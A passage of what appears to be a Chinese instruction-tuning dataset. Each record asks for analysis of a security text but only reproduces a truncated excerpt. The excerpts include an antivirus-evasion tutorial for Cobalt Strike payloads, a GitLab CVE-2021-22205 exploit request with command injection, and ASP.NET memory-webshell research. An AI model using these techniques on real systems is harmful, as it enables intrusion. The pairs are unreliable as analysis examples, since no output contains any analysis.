有时候用户想要访问某国外网站该网站无法在国内直接访问但是我们可以访问到一个代理服务器这个代理服务器可以访问到这个国外网站这样呢用户对该国外网站的访问就需要通过代理服务器来转发请求并且该代理服务器也会将请求的响应再返回给用户这个上网的过程就是用到了正向代理 所以正向代理其实是\"代理服务器\"代理了\"客户端\"去和\"目标服务器\"进行交互 --- ### 代理池 **相关工具** - [kitabisa/mubeng](https://github.com/kitabisa/mubeng) - An incredibly fast proxy checker & IP rotator with ease. **相关资源** - [zu1k/proxypool](https://github.com/zu1k/proxypool) - [safe6Sec/proxyServer](https://github.com/safe6Sec/proxyServer) - [Mustard404/Auto_proxy](https://github.com/Mustard404/Auto_proxy) - 利用IP地址池进行自动切换Http代理防止IP封禁 - [sh3d0ww01f/WaterDragon](https://github.com/sh3d0ww01f/WaterDragon) - 用GithubAction实现代理功能,一次一个ip - [ustayready/fireprox](https://github.com/ustayready/fireprox) - AWS API Gateway management tool for creating on the fly HTTP pass-through proxies for unique IP rotation **相关文章** - [说说代理池](https://xz.aliyun.com/t/7718) - [红狗利器IP代理池](https://www.freebuf.com/sectool/332623.html) #### 云函数实现代理池 - [浅谈云函数的利用面](https://xz.aliyun.com/t/9502) - [shimmeris/SCFProxy](https://github.com/shimmeris/SCFProxy/) - 一个利用云函数实现各种功能的工具 - [利用腾讯云函数搭建免费代理池(搭建过程)](https://www.freebuf.com/sectool/332903.html) - [利用云函数搭建免费代理池](https://www.cnblogs.com/supdon/p/15099742.html) ### clash **相关文章** - [用 Clash 做代理](https://maintao.com/2021/use-clash-as-a-proxy/) - [Clash实现IP秒级切换(含简易源码分析)](https://segmentfault.com/a/1190000040828310) - [Clash 学习四在 Clash 中配置使用 HTTP 协议或 SOCKS5 协议的节点](https://senjianlu.com/2021/11/clash-note-04/) ##", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThey took my laptop! The Fourth Amendment explained Disclaimer It is vitally important for you to understand that while I am an attorney, I am not your attorney. In no way, shape, or form is this presentation intended to provide you with legal advice. Before relying or acting upon any information learned from this presentation you should consult a licensed attorney in your State. Introduction Overview The Constitution Intro to the Fourth Suspicion Standards Exceptions They took my laptop! Hypothetical applications Modern case overviews Question & Answer Period The Constitution Pop Quiz Hot Shots The Constitution Quiz Q: How many Articles does the constitution contain? A: 7 + Preamble, Signatures The Constitution Quiz Q: How many amendments are there? A: 27 The Constitution Quiz Q: The first ten amendments are called? A: The bill of rights The Constitution Quiz Q: Which article applied most of the bill of rights to the states? A: 14th Amendment. The Constitution Quiz Q: Which article or amendment contains the section on privacy? A: None. Its a judicial fiction. The Constitution Quiz Q: When was the last amendment to the constitution ratified? A: May 7th, 1992 The Constitution Quiz Q: When was it proposed? A: September 25th, 1789 - James Madison The Constitution Quiz Q: President Barack Obama was a professor of ____ law? A: Constitutional Law Back to the point Introduction to The Fourth The Fourth Amendment The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or the things to be seized. Amendment IV Two separate clauses Reasonableness Clause The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violate", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWeb Web安全威脅偵測與防護 安全威脅偵測與防護 Roger Chiu Roger Chiu 邱春樹 邱春樹 Malware Malware--Test Lab Test Lab http://www.malware http://www.malware--test.com test.com PDF created with pdfFactory Pro trial version www.pdffactory.com 訓練大綱 訓練大綱 u u 相關新聞報導 相關新聞報導 u u 網站被植入惡意程式之展示 網站被植入惡意程式之展示 u u 2007 2007年 年OWASP OWASP十大 十大Web Web資安漏洞 資安漏洞 u u 網站被植入惡意程式之手法 網站被植入惡意程式之手法 u u 網站被植入惡意程式之偵測 網站被植入惡意程式之偵測 u u 網站被植入惡意程式之防護 網站被植入惡意程式之防護 u u 總結 總結 PDF created with pdfFactory Pro trial version www.pdffactory.com 相關新聞報導 相關新聞報導 u u 2007 2007年 年55月 月21 21日 日Google Google研究報告指出 研究報告指出全 全 球十分之一網站潛藏惡意連結或程式碼 球十分之一網站潛藏惡意連結或程式碼 這些網站含有偷渡式下載 這些網站含有偷渡式下載(Drive (Drive--by by Downloads Downloads之惡意程式 之惡意程式 PDF created with pdfFactory Pro trial version www.pdffactory.com 網站被植入惡意程式之展示 網站被植入惡意程式之展示 u u Web Web資安威脅實例展示 資安威脅實例展示(DEMO) (DEMO) PDF created with pdfFactory Pro trial version www.pdffactory.com 2007 2007年 年OWASP OWASP十大 十大Web Web資安漏洞 資安漏洞 u u Cross Cross--Site Scripting (XSS) Site Scripting (XSS) u u Injection Flaw Injection Flaw u u Malicious File Execution Malicious File Execution u u Insecure Direct Object Reference Insecure Direct Object Reference u u Cross Cross--Site Request Forgery (CSRF) Site Request Forgery (CSRF) u u Information Leakage and Improper Error Information Leakage and Improper Error Handling Handling u u Broken Authentication and Session Management Broken Authentication and Session Management u u Insecure Cryptographic Storage Insecure Cryptographic Storage u u Insecure Communication Insecure Communication u u Failure to Restrict URL Access Failure to Restrict URL Access PDF created with pdfFactory Pro trial version www.pdffactory.com 與程式碼安全品質有關的 與程式碼安全品質有關的OWASP OWASP Web Web資安漏洞 資安漏洞 u u Cross Site Scripting (XSS) Cross Site Scripting (XSS) 跨站腳本 跨站腳本 攻擊 攻擊 u u Injection Flaws Injection Flaws 注入弱點 注入弱點 u u Malicious File Execution Malicious File Execution惡意檔案執行 惡意檔案執行 u u Insecure Direct Object Reference Insecure Direct Object Reference 不 不 安全的物件參考 安全的物件參考 u u Cross Site Request F", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSputnik-II Economical Multi-Band Antenna Version 2.0 04-01-2010 BANDS: A B C D 2m 1.25m 70cm 19 ½ 1 12 ⅜ 21 2m 70cm 19 ½ 1 6 21 Antenna Versions: The antenna was originally designed to cover 2m 1.25m 70cm in a single ground plane style unit. The design utilizes 2 elements for the radiator, the longer of which operates as a ¼ wave at 2m and a ¾ wave at 70cm. The short element is ¼ wavelength at 1.25m which is also a ½ wave at 70cm and appears to be a short, directing the energy on 70cm to the more attractive ¾ wave element. ¾ wavelength antennas however are not very desirable for ground to ground use because of the large lobe emitted 45 degrees upwards. This trait may be desirable for stations trying to use a repeater at the base of the mountain it is located on or for knife edging DX stations in a mountainous region. The sky wave lobes have approximately 4dB additional gain above the ground wave on this band. If 1.25m operation is not desired the antenna may be constructed as a 2m 70cm Dual-Band antenna which has better ground wave performance, by making the shorter element a ¼ wave on 70cm. A slight gain increase is noted on the elevation plane in the direction of the shorter stub in this version; the azimuth pattern is approximately Omni-directional. Please refer to Dual- Band 2m 70cm Elevation and SWR Charts later in this document. Bronze welding rod is used as the elements because that was readily available at the hardware store visited during construction of the prototype antenna. Electrical performance will be increased if copper or brass rods 36 in length are obtainable. Construction Materials: Item Description Qty Cost Each Radiator 1/8 x 36 Bronze Welding Rod 1 $2.39 Ground Plane 3/32 x 36 Bronze Welding Rod 4 $1.29 Housing 1 ¼ PVC End Cap 1 $0.49 Mast Random Length of 1 ¼ PVC Pipe Per Foot $1.19 Connector SO-239 1 $2.39 Coaxial Cable RG-58 Per Foot $0.30 Connectors PL-259 2 $2.39 Reducer PL-259 to RG-58 2 $0.39 Epoxy JB Weld 1 $4.49 Construction: B", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nmd5sum === 计算和校验文件报文摘要的工具程序 ## 补充说明 **md5sum命令** 采用MD5报文摘要算法128位计算和检查文件的校验和一般来说安装了Linux后就会有md5sum这个工具直接在命令行终端直接运行 MD5算法常常被用来验证网络文件传输的完整性防止文件被人篡改MD5 全称是报文摘要算法Message-Digest Algorithm 5此算法对任意长度的信息逐位进行计算产生一个二进制长度为128位十六进制长度就是32位的指纹或称报文摘要不同的文件产生相同的报文摘要的可能性是非常非常之小的 ### 语法 ```shell md5sum(选项)(参数) ``` ### 选项 ```shell -b二进制模式读取文件 -t或--text把输入的文件作为文本文件看待 -c从指定文件中读取MD5校验和并进行校验 --status验证成功时不输出任何信息 -w当校验不正确时给出警告信息 ``` ### 参数 文件指定保存着文件名和校验和的文本文件 ### 实例 **使用 md5sum 生成密码** 另一种获取可用作密码的随机字符串的方法是计算 MD5 校验值校验值看起来确实像是随机字符串组合在一起我们可以用作密码确保你的计算源是个变量这样的话每次运行命令时生成的校验值都不一样比如 date date 命令 总会生成不同的输出 ```shell [root@localhost ~]# date | md5sum 6a43f2c246cdc3e6a3592652f831d186 - ``` **生成一个文件insert.sql的md5值** ```shell [root@localhost ~]# md5sum insert.sql bcda6cb5c704664f989703ac5a88f112 insert.sql ``` **检查文件testfile是否被修改过** 首先生成md5文件 ```shell md5sum testfile > testfile.md5 ``` 检查 ```shell md5sum testfile -c testfile.md5 ``` 如果文件没有变化输出应该如下 ```shell forsort: OK ``` 此时md5sum命令返回0 如果文件发生了变化输出应该如下 ```shell forsort: FAILED md5sum: WARNING: 1 of 1 computed checksum did NOT match ``` 此时md5sum命令返回非0 这里检查用的文件名随意如果不想有任何输出则`md5sum testfile --status -c testfile.md5`这时候通过返回值来检测结果 检测的时候如果检测文件非法则输出信息的选项: ```shell md5sum -w -c testfile.md5 ``` 输出之后文件异常输出类似如下 ```shell md5sum: testfile.md5: 1: improperly formatted MD5 checksum line md5sum: testfile.md5: no properly formatted MD5 checksum lines found ``` 这里testfile.md5只有一行信息但是我认为地给它多加了一个字符导致非法如果md5文件正常那么`-w`有没有都一样", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTraining the Next Generation of Hardware Hackers Teaching Computer Organization and Assembly Language Hands-On with Embedded Systems Wednesday, May 5, 2010 Development Took about a year to develop and run through our first semester with the material We want to share our ideas, what we learned, and the tools we built with everyone We want to try to spread the hardware hacking culture Wednesday, May 5, 2010 Goals Get Undergraduate Electrical Engineering and Computer Science students thinking closer to the metal Computer organization is an integral part understanding what your code does Assembly Language facilitates learning how Computers and Microprocessors work Why teach Assembly Language? Wednesday, May 5, 2010 Assembly Language For the actual design process, many times it far easier and far more cost effective to use C or other high-level languages However, Assembly puts you down closer to the machine, and give you the perspective to understand whats happening Learn the hard way, then use the Enlightened way (high-level language) once you understand the fundamentals Wednesday, May 5, 2010 How? Put a development kit in the hands of every student taking the course Flatten the learning curve of working with embedded systems Give each student a free, easy-to-use tool- chain with which to work Wednesday, May 5, 2010 Learning Curve Embedded Development is surprisingly difficult to get into for newbies Embedded Systems IDEs can be very clunky and hard to use (Eyes toward Freescale) Projects like Arduino have made lots of headway - still not optimal for Comp. Org. Needed a better set of tools Wednesday, May 5, 2010 The Bootloader On-chip ROM Bootloader from the factory USB boot-loader allows loading code from a students PC No expensive device-specific programmer needed Problem: Current Boot-loader is from the manufacturer and it only works with Windows (were going to fix that) Wednesday, May 5, 2010 Development Board Uses Freescale MC9S08JS16 chip Single", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n一分钟免杀cobaltstrike 收录于话题 #cobaltstrike 1 #免杀 1 #渗透测试 48 #内网安全 3 #代码 2 简要介绍 本次利用到的是Nim语言 1.Nim 是一门开源的编程语言 2.Nim 的独到之处在于它可以编译成其他编程语言代码主要是 C 语言和 JavaScript 3.将 Nim 与 C 语言或 JavaScript 代码集成在一起可以获得最大的价值 4.Nim 可以生成高质量的 C 语言代码避免出现 C 语言的典型错误如内存泄露和数组指针错误 下载Nim安装包 https://nim-lang.org/install.html 官方提供WindowsLinuxMac版本根据自己的需求进行下载 本次使用Windows环境做演示 小生观察室 本观察室仅个人做内容存档使用 63篇原创内容 公众号 前天 原创 Kobefanss 小生观察室 下载解压后需将 bin 目录添加到环境变量 安装CC++编译器 Nim编译器需要C编译器才能编译软件 下载地址 https://github.com/GorvGoyl/MinGW64/releases 将文件解压到nim目录的 dist 路径下并将 D:\\nim-1.4.8\\dist\\MinGW64\\bin 添加至环境变量 encryption编译 下载地址 https://github.com/aeverj/NimShellCodeLoader/releases 下载解压后进入 NimShellCodeLoader_Winx64\\NimShellCodeLoader\\encryption 目录利用下面 的代码进行编译 nim c -d:release --opt:size Tdea.nim nim c -d:release --opt:size Caesar.nim 免杀详情 利用 Nim+NimShellCodeLoader 可以有10多种免杀方式绕过全网杀软这里演示其中一种 cobaltstrike生成 raw 格式 64位 的 payload.bin 文件 打开 codeLoader.exe 图形化界面将 payload.bin 直接拖进来 这里选择的是直接加载 TDEA -- Direct Load 选好加载方式和加密方式点击 generate 即可导出 输出生成的可执行文件在 NimShellCodeLoader_Winx64\\NimShellCodeLoader\\bin 目录 最终效果 本地测试火绒360管家等均可免杀并附上VT和CS正常上线结果 喜欢此内容的人还喜欢 Flink第二十六篇源码角度分析Task执行过程 章鱼沉思录 2021年vue和react如何选择 程序那些事儿 springboot 项目敏感信息脱敏实践 地道程序员", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 CVE-OLON-OOOLS Gitlab 前台RCE 分析之 P 接 https://t.zsxq.com/aYZzVbu 公众号 https://mp.weixin.qq.com/s? __biz=Mzg4NzcxMDgyOA==&mid=2247483654&idx=1&sn=8c0f99c646e63460d3190508613cac4 5&chksm=cf877405f8f0fd1382100c97af86db549084b987c515c848eb8a7faa92eaac7b5aeb0ac9 2ece#rd ========================================================================== ====== 从前的分析其实可以继续问个问题 1除了 uploads/user 接还有其他接么 2是否真的需要 CSRF 或者说 第步是否是真的需要 对于 部分 规则性的 waf最简单的可能就是 正则匹配内容 请求法/路径/POST包基本 上封杀掉下这个模式已经能挡住绝部分脚本了吧 2 但从我前的 第2 部分来看 其实 routes.go 中的其他路由 可以拿过来利 环境搭建 使 https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021- 22205/README.zh-cn.md 感谢P师傅 例如 snippetUploadPattern 为 Go 复制代码 POST /uploads/user HTTP/1.1 Content-Type: multipart/form-data; boundary=22f5e4b5ec8883262a0a1e07619d0efd Content-Type: image/jpeg AT&TFORM[DJVUINFO ,BGjpANTa5(metadata (Copyright \"\\ \" . qx{command} . \\ \" b \") ) --22f5e4b5ec8883262a0a1e07619d0efd-- 1 2 3 4 5 6 7 8 9 10 11 12 Go 复制代码 // Uploads u.route(\"POST\", projectPattern+`uploads\\z`, upload.Accelerate(api, signingProxy, preparers.uploads)), u.route(\"POST\", snippetUploadPattern, upload.Accelerate(api, signingProxy, preparers.uploads)), u.route(\"POST\", userUploadPattern, upload.Accelerate(api, signingProxy, preparers.uploads)), 1 2 3 4 Go 复制代码 snippetUploadPattern = `/uploads/personal_snippet` 1 3 其他路由也可以试试有可能需要登陆 来解决第个问题= = CSRF Token 真的需要吗 回到 routes.go Go 复制代码 projectPattern = `/([/]+/){1,}[/]+/` u.route(\"POST\", projectPattern+`uploads\\z`, upload.Accelerate(api, signingProxy, preparers.uploads)), POST /1/1/uploads 1 2 3 4 5 4 先来看下 gitlab-workhorse 的是怎么匹配路由的 Go 复制代码 // Routing table // We match against URI not containing the relativeUrlRoot: // see upstream.ServeHTTP func configureRoutes(u *upstream) { preparers := createUploadPreparers(u.Config) uploadPath := path.Join(u.DocumentRoot, \"uploads/tmp\") uploadAccelerateProxy := upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath}, proxy, preparers.uploads) ... // Serve static files or forward the requests def", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 ASP.NET下的内存()filter内存 前 过程 总结 @yzddmr6 asp.net下的内存研究章较少前提到过的包括虚拟路径内存以及HttpListener内存周末 研究了下其他类型的内存发现.net可以利的地要多得多所以准备写个系列章讲讲 asp.net下的内存 章仅作研究性质不保证任何实战效果请勿于法途 java下有filterservlet等拦截器asp.net mvc也有同样类似的机制 在rider中新建个asp.net web项默认就会起个asp.net mvc的项 前 过程 2 根录下有个 Global.asax件这个件会在web应启动后先执其中Codebehind指向了 Global.asax.cs在Global.asax.cs中可以看到在asp.net mvc启动的时候会默认去注册三个组件 3 看下FilterConfig.RegisterGlobalFilters这个法的作就是给全局GlobalFilterCollection加 我们定义的filter逻辑于为什么不去看route因为filter的优先级在route之前当然是我们的第 选择 内存的本质是在容器中注段恶意代码并且由于容器的特性如filterservlet等机制使得每次 收到web请求我们的恶意代码都会被执 在java中添加filter内存较为麻烦需要反射从上下中获取到filterMap等信息然后向注我 们定义的filter但是在asp.net中则直接将这个接给户暴露了出来这就极便了我们注 内存的操作 看了下System.Web.Mvc.GlobalFilterCollection从注释就可以看出来这存放了全局的filter C++ 复制代码 namespace WebApplication2 { public class MvcApplication : System.Web.HttpApplication { protected void Application_Start() { AreaRegistration.RegisterAllAreas();//注册 MVC 应程序中的所有区域 FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);//注 册filter RouteConfig.RegisterRoutes(RouteTable.Routes);//注册路由 BundleConfig.RegisterBundles(BundleTable.Bundles);//打包捆绑资 源对css以及js进压缩 } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 C++ 复制代码 namespace WebApplication2 { public class FilterConfig { public static void RegisterGlobalFilters(GlobalFilterCollection filters) { filters.Add(new HandleErrorAttribute()); } } } 1 2 3 4 5 6 7 8 9 10 4 那么应该打什么类型的filter呢翻了下档ASP.NET MVC 框架持四种不同类型的筛选器 1. 授权筛选器 = 实现IAuthorizationFilter属性 2. 操作筛选器 = 实现IActionFilter属性 3. 结果筛选器 = 实现IResultFilter属性 4. 异常筛选器 = 实现IExceptionFilter属性 筛选器按上列出的顺序执 例如授权筛选器始终在操作筛选器和异常筛选器始终在每种其他类 型的筛选器之后执 授权筛选器于实现控制器操作的身份验证和授权 例如\"授权\"筛选器是授权筛选器的示例 操作筛选器包含在控制器操作执之前和之后执的逻辑 例如可以使操作筛选器修改控制器操作 返回的视图数据 结果筛选器包含在执视图结果之前和之后执的逻辑 例如您可能希望在视图呈现给浏览器之前修 改视图结果 异常筛选器是要运的最后种筛选器类型 可以使异常筛选器来处理控制器操作或控制器操作结果 引发的错误 您还可以使异常筛选器来记录错误 每种不同类型的筛选器都按特定顺序执 如果要控制执相同类型的筛选器的顺序则可以设置筛选 器的 Order 属性 所有操作筛选器的基类是类System.Web.Mvc.FilterAttribute 如果要实现特定类型的筛选器则需要 创建从基本筛选器类继承的类并实现个或多个IAuthorizationFilter IActionFilter或 IResultFilter``IExceptionFilter接 5 以上来微软档https://doc", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### 磁盘内存分析常用工具 - EasyRecovery - MedAnalyze - FTK - [Elcomsoft Forensic Disk Decryptor](https://ctf-wiki.github.io/ctf-tools/misc/#_6) - Volatility ### 磁盘相关介绍 常见的磁盘分区格式有以下几种 - Windows: FAT12 -> FAT16 -> FAT32 -> NTFS - Linux: EXT2 -> EXT3 -> EXT4 - FAT 主磁盘结构 - 删除文件目录表中文件名第一字节 `e5` ### VMDK文件介绍 VMDK 文件本质上是物理硬盘的虚拟版也会存在跟物理硬盘的分区和扇区中类似的填充区域我们可以利用这些填充区域来把我们需要隐藏的数据隐藏到里面去这样可以避免隐藏的文件增加了 VMDK 文件的大小如直接附加到文件后端也可以避免由于 VMDK 文件大小的改变所带来的可能导致的虚拟机错误而且 VMDK 文件一般比较大适合用于隐藏大文件 ### 内存类题目介绍 - 解析 Windows / Linux / Mac OS X 内存结构 - 分析进程内存数据 - 根据题目提示寻找线索和思路提取分析指定进程的特定内存数据", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPDA insecurity Insecurity in a mobile world Bryan Glancey Agenda PocketPC Overview Registry Synchronization HP 5455 Biometric issue Palm Overview General Issues Conclusion PocketPC ActiveSync USB/Serial BlueTooth TCP/IP PocketPC Toolkit Registry Editors www.pocketpcdn.com/articles/registry.html RedBack www.atstake.com/research/tools/forensics Snort Airsnort Airsnort.shmoo.com www.snort.org PocketPC Registry Windows Like Registry Settings Edit the registry remotely Edit it on the device Password Screen Control http://support.microsoft.com/default.aspx ?scid=kb;en-us;314989 Interesting Values Security Related Values HKEY_LOCAL_MACHINE\\Comm HKEY_LOCAL_MACHINE\\Drivers HKEY_LOCAL_MACHINE\\HARDWARE HKEY_LOCAL_MACHINE\\SYSTEM HKEY_LOCAL_MACHINE\\Init HKEY_LOCAL_MACHINE\\WDMDrivers [HKEY_CLASES_ROOT\\.cpl] (default) = \"cplfile\" [HKCR\\cplfile\\Shell\\Open\\Command] (default) = \"\\Windows\\ctlpnl.exe %1\" Where to get more information? Microsoft How to switch the password screen Q314989 - Let Me In: Pocket PC Password User Interface Redirect Sample http://support.microsoft.com/default.aspx?scid=kb;en- us;314989 PocketPC attacks Activesync cradle Data security is unidirectional you can put a system password on PocketPC but not on Laptop ActiveSync DOS http://www.irmplc.com/advisories The (ActiveSync) service runs on TCP port 5679 and by connecting to this port and sending Removable media Example: HP Ipaq 5455 5455 Weaknesses Synchronization Security Spontaneous Password Lapses http://forums.itrc.hp.com/cm/QuestionAn swer/1,,0x504cb82b2d63d71190080090 279cd0f9,00.html Removable Media Security New definition of Plug & Play Palm HotSync Vulnerabilities NotSync http://www.atstake.com/research/advisories/2000/a092600- 1.txt PDD Palm Toolkit PDD NotSync PDA Seizure http://www.paraben- forensics.com/index.html RsrcEdit http://www.quartus.net/prod ucts/rsrcedit/ File Manager/editor for PalmOS Palm Palm Memo hiding Vulnerability www.security", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName dbClass '\\\" Start of description of a specific option. cmdName gives the '\\\" option's name as specified in the class command, dbName gives '\\\" the option's name in the option database, and dbClass gives '\\\" the option's class in the option database. '\\\" '\\\" .UL arg1 arg2 '\\\" Print arg1 underlined, then print arg2 normally. '\\\" '\\\" RCS: @(#) ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nS-Mimikatz源码调试 前期准备 mimikatz源码地址 调试环境 vs2019 几点设置 1. 因为官方项目没有debug方案所以需要手动添加debug配置 2. 项目属性配置 程序入口 调试以 privilege::debug 为例打开调试-> mimikatz 调试属性->配置属性->调试->命令参数 wmain()是 mimikatz`的入口函数 命令分发 从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数 这里首先有一个 kull_m_file_fullPath 方法然后进行匹配暂时不知道具体作用是什么之 后进入 mimikatz_doLocal() 方法 命令执行 在对命令进行请求分发之后获取到 module 和 commond 两个参数之后就进入了命令执行的阶段 这个地方涉及到结构体的知识 首先 mimikatz_modules[] 是一个数组数组里面存放的是每一个模块的结构体的指针那么第 210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较如果相同返回0 结构体的结构在 kuhl_m.h 这个头文件中进行定义 之后第213和214两行相同的方式去寻找同一个模块下存在的 command 每个模块都预先定义一个 数组存放全部的可执行方法的信息 最重要的就是第215行 status = mimikatz_modules[indexModule]- >commands[indexCommand].pCommand(argc - 1, argv + 1); 执行这个模块和命令 mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了 kuhl_m_c_privilege[] 这个数组的第一个元素然后这个 const KUHL_M_C kuhl_m_c_privilege[] 数组是一个结构体数组这个第一项表示的是一个 指针函数 那后面 的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数 可以看到的是对于 privilege::debug 这个功能执行的函数是 kuhl_m_privilege_simple() 而最后调用的系统API是 RtlAdjustPrivilege() 至此整个简单的流程分析已经结束了关于 mimikatz 的请求流程和命令分发已经了解清楚 了 NTSTATUS kuhl_m_privilege_simple(ULONG privId) { ULONG previousState; NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); if(NT_SUCCESS(status)) kprintf(L\"Privilege \\'%u\\' OK\\n\", privId); else PRINT_ERROR(L\"RtlAdjustPrivilege (%u) %08x\\n\", privId, status); return status; }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEF CON 24 Side-channel attacks on high- security electronic safe locks plore@tuta.io Background Electronic safe locks Image: ellenm1 on Flickr / CC BY-NC Background Electronic safe locks In scope: decent, listed locks UL Type 1 High-security electronic lock Out of scope: cheap, poor-quality locks Sargent & Greenleaf 6120-332 6120 System model MCU Outside of safe Battery Keypad EEPROM Bolt motor Inside of safe Lock Steel safe door ¼ hole for wires Buzzer 6120 Circuit model Data line volts 100 k Data line Volts across R1 Current through R1 R1 1 0 0 volts 5 volts 50 A 0 A Higher current consumption means the bit being read from EEPROM is a 0, and a lower current means the bit is 1 Vcc Bit value 5 volts 0 volts EEPROM Amplifier Oscilloscope Sense Resistor Battery MCU 6120 Power analysis 1 nibble per keycode digit Only lower byte in each EEPROM word is used 6120 Demo S&G Titan PivotBolt Titan Timing attack Entire six-digit keypad sequence is captured before starting comparison to key from EEPROM Pseudocode of Titan keycode comparison: bool check_code(int enteredCode[6], int actualCode[6]) { for (int digit = 0; digit < 6; digit++) if (enteredCode[digit] != actualCode[digit]) return false; return true; } Each iteration takes another 28 s Titan Timing attack Current consumption markers for timing delta Titan Timing attack Current Time Suppose that the actual code is 908437 Code tried Current trace 123456 Current Time 923456 Current Time 913456 Current Time 903456 Correct run length 0 1 1 2 Wrong Wrong Wrong Wrong Titan Timing attack The more digits you have correct, the more delayed the current-consumption rise Titan Lockout Try wrong keycode failureCount++ EEPROM Failure count >= 5 LOCKOUT Titan EEPROM write example Starting value: 0xA4 Time from start of write Write value: 0x1C Value in EEPROM 400 s 0xA4 2500 s 3000 s 0 500 s 0x?? 0x00 0x?? 0x1C Titan Interrupt EEPROM write 2.7v Brownout 600 s from detection 1.1 ms from write start Supply voltage Cu", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVirtualization: Enough Holes to Work Vegas Defcon 15 Las Vegas, 2007 D.J. Capelis University of California, San Diego Introductory Notes Mostly known issues Mostly design flaws, not entirely bugs Documented behavior (So slightly less testing) VMWare Server, not ESX or VI3. This is still untenable Overview Review Isolation isn't Covert channels Virtual machines on a network Virtual machines changing the network Live migration Questions, heckling, grandiose proposals and accusations of hating freedom Overview of Technologies Technology OS Level Virt Paravirtualization Full Virt w/ HW Full Virt w/o HW Full Emulation Example Zones/UML/openVZ Xen KVM, Xen VMWare, KQEmu QEmu, Bochs Faster Completeness The Features Freeze / Thaw / Snapshotting Decoupled Hardware Another Layer of Protection Live Migration Dynamic Deployment / Creation The Hype Reliability No longer bound to hardware, who cares about failures! Consolidation Take many machines, use less of them. Better utilization of physical hardware. Isolation Take many tasks, isolate them from each other. Don't you feel more secure already? Attacking Isolation Shared hardware attacks Thought the SMT attacks were old news? Similar things on other shared hardware Attacking the host scheduler Did you want to actually... use that video card? (Or other hardware device? USB?) Moment you pass real hardware, you can wedge the entire box. Covert Channels More on Covert Channels Use Resources Use something on one Detect on another RDTSC can help (or any half-decent timesource) Pass data in Layer 2 Turns out... very few of us use EBTables. Mess with Novell, use IPX More of an Apple hater? Use appletalk! Old School? Want to try DECNet? Networking Issues Bypass host firewall Pick whatever IP you'd like VMWare bypasses by default in bridged mode Promiscuous Mode MAC impersonation Spoofing is easier again The VMWare Model (Default) VM VM VM VM VM .... Host Host Rest of the Network T", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDefense by Numb3r5 Making problems for script k1dd13s and scanner monkeys @ChrisJohnRiley THE WISEST MAN, IS HE WHO KNOWS, THAT HE KNOWS NOTHING SOCRATES: APOLOGY, 21D TL ;DR Goals for this talk Describe the defensive uses of HTTP status codes 1) What 2) Why 3) How 4) Goals 5) Bringing it together 6) Review #1 ] [ WHAT ? 